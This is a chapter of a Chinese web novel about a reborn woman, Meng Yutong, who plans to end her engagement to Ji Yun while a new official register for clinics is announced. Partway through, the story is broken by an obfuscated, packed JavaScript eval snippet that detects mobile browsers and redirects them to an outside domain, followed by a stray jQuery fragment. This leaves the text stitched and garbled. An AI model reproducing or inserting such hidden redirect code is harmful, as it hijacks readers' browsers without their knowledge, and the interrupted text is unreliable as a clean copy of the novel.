纪昀言罢医馆入官册一事,刘夫人手中团扇摇得更急,追问:“不知这收编的章程如何?临安城百余家医馆,能有几家入得官眼?”
她哪是真不知详情,不过是借纪昀之口,向众人宣告济世堂志在必得,顺带探探这新政有无空子可钻。
纪昀指尖轻叩着案几,缓缓开口:“从今年五月开始,一年为期。明年五月,医官院会按救治人数、药材施济、坊间口碑综合考评,前十者收编。”
他话音未落,刘夫人顿时喜上眉梢,这救治人数、药材施济等等都有可运作的空间,听来不算是难事。
只是她脸上笑意还未散,便听纪昀话锋一转,语气更淡:“每一项考评都有医官逐户核查,若有虚增病患、伪造口碑者,当即查没医馆,不可再参选。”
刘夫人的小心思被人看穿,一时间心虚不已,身子倏然塌下来半寸。
她强作镇定,摇摇扇子附和道:“自然,自然。”
孟玉桐闻言眸色微变。
纪昀不咸不淡的话语,在她心中却已掀起波澜。
一年时间,十家医馆……若真能入了官家名册,不仅能全了她想坐馆行医的心思,更能借此从孟家分出……
孟玉桐视线轻转,看向纪夫人身侧的景福公主。
她自然对这医馆之论没什么兴趣,此刻正百无聊赖地拨弄腕间赤玉镯子,那镯子血红如霞,倒衬得她指尖莹白。
这性子火烈的公主,怕是还在为方才被驳了颜面耿耿于怀,指不定正琢磨着如何在圣上面前进言,好搅黄了这门亲事,替她外甥省去一个大麻烦呢。
若真能退亲,于她而言倒是省心。
可孟玉桐转念想起上一世种种,照景福公主的性子,怕是早已在圣上面前提过异议,可她最后还是嫁入了纪家。
可见这门亲事成全与否,症结终究系在祖母身上。
听完纪昀今日所说,她心中已隐隐有了说服祖母的绝佳借口。
想起祖母……孟玉桐心头微涩,恍惚忆起那个凄惶的午后,白芷同她说祖母并未反对秦姨娘让孟玉柔嫁过来的提议。
她那时心中是有怨的。
只是到了如今,她早已懒得去计较上辈子那团烂账。
她更在意的是,如何在这桩于孟家生意有益的婚事中,寻得能让祖母点头退亲的筹码。
思绪翻飞间天色已渐暗,纪夫人起身送景福公主离开。
满堂宾客起身,孟玉桐也跟着起身,恭敬低眉立在一边。
景福公主穿着张扬明艳,头上身上以赤红色装饰为主,故而看她第一眼便会被她上半身吸引视线。
而此时孟玉桐低着头,倒是发现些不寻常的。
她瞧见景福公主经过她身旁时,步子缓缓,一深一浅,似乎与常人走路的步伐不太一样。
她心头掠过一丝异样。
未及深究,景福公主与纪夫人已经离开花厅。其余人也开始陆续离开,孟玉桐跟着人流往外走,刚走出两步,便被纪明拉住。
“孟姐姐,这是母亲让我给你的。”他捧着一方锦盒,里头正是孟玉柔方才送给纪夫人的贺礼。
是她母亲的东西。
孟玉桐指尖微颤,小心翼翼地接过锦盒,打开半寸,望着里头静静躺着的玉葫芦,心中竟有酸涩,“替我谢过夫人,还有我身上这衣裳,回头我让人洗净了再送来。”
纪明左右瞧瞧,悄然凑近了拉着她问:“孟姐姐,你是不是不太喜欢我兄长?”
孟玉桐微微往前倾身,被他这话问得动作一滞,目光越过层层叠叠的雕花屏风,下意识抬眼,只见门扉旁立着一道清瘦身影。
纪昀负手立于门前,墨发高束,锦袍在晚风中勾勒出劲瘦轮廓,指间捻着枚青玉佩,眸光淡漠,隐含探究,正不偏不倚望过来。
一瞬间,孟玉桐仿佛回到她上辈子在纪府的那段时日。
无论她将这纪家主母做得多好,他待她总是淡淡的,看向她的眼神也就如今日这般。
她那时还以为他是性子生得清冷,时间久些就好了。后来她才明白,其实纪昀只是待她冷淡而已。
若是能早些看清楚,上一世也不必白白蹉跎。
她垂下眼,盯着手中的锦盒,声音淡淡:“小公子说笑了,我与纪公子不过数面之缘,何谈喜恶。”
纪明摸摸下巴,又皱起眉来,姐姐嘴里说着不讨厌,怎么一提起兄长态度就变冷了呢?
哎呀不管了,反正不是讨厌他就行。
纪明两手一摊,又笑嘻嘻地去摇她:“孟姐姐,你上回给我开的药味道我很喜欢,你能不能改良下方子,我偷偷让人制成糖丸?最近兄长看得严,什么也不让我吃,我现在瞧见院里的草皮都想上去啃一口。”
“加些甘草、槐花蜜,文火慢熬两个时辰即可。”孟玉桐被他这话逗乐了,指尖轻点他额头,“只是每日至多服用三丸,不可贪多。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16127369|180116||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“我知道的!”纪明还想再同她说什么,可转眼瞧见兄长在一旁似乎等得有些不耐,便只好闭了嘴,不情不愿地同孟玉桐告了别。
孟玉桐自纪府归来时,杏桃院天色已暗。
晚风轻拂,零落的桃花与杏瓣在青石小径上铺就浅浅一层浅绯与素白,空气中浮动着若有似无的甜香。
她径直回到内室,褪下纪夫人借她的那件月白色绣梅衣裙。
“白芷,”她将衣裳递过去,声音清泠,“着人用温水细细浣净,熏上香,仔细装裹好,送回纪府去。”
纪夫人今日待她的态度,同从前很不一样。
对于她与纪昀的婚事,上一世的纪夫人更多的是淡然,可今日瞧着,她似乎对自己颇为满意。
孟玉桐心口绕着疑云,心中渐渐有了些不太真切的猜测,却不敢深想。
反正……她望了手上那衣裳一眼,旋即移开视线。无论如何,只要她能成功将婚事退了,那么纪夫人与她而言不过无关紧要的陌生人罢了。
白芷接过衣裳,忍不住问起今日纪府见闻。
孟玉桐拣要紧处略说了几句。
白芷听罢,双眼圆睁,随即掩口嗤笑出声:“难怪二小姐晌午便灰溜溜回府了,原是拿了夫人的旧物充新礼。当真是好不要脸!纪夫人倒是心善通透,竟将这东西原封不动地退给了小姐!”
她越说越觉快意,语速也快了几分:“那二小姐,平日里便是个掐尖要强的,得了什么新鲜玩意儿,必要跑到咱们杏桃院来招摇过市,非得事事压小姐一头才肯罢休!
“还有那秦姨娘——”白芷撇撇嘴,“仗着自己早年读过些书便真当自己是文曲星下凡了,惯爱端着架子,对府里的事,尤其是小姐您的事,指手画脚,恨不能事事拿捏!
“这母女俩,真真像那绕着腐物嗡嗡作响的蝇虫,惹人厌烦透顶!早该有人狠狠煞煞她们的威风了!”
白芷说得心头畅快,倚坐在临窗矮几旁的桂嬷嬷闻言,两道眉却紧紧拧着:“姑娘何苦与她们做这针锋相对?秦姨娘仗着老爷宠信,二小姐又是个惯会撒泼弄痴、颠倒黑白的。若早早撕破了脸皮,往后的日子,只怕……只怕更添艰难啊。”
桂嬷嬷与大胆伶俐的白芷不同,是个性子软和又爱忧心的,最怕惹事生非。
孟玉桐往后只怕还要做许多叫她担忧的事情,便想着趁着今日好好同她说明一番,也好叫她心中有些准备。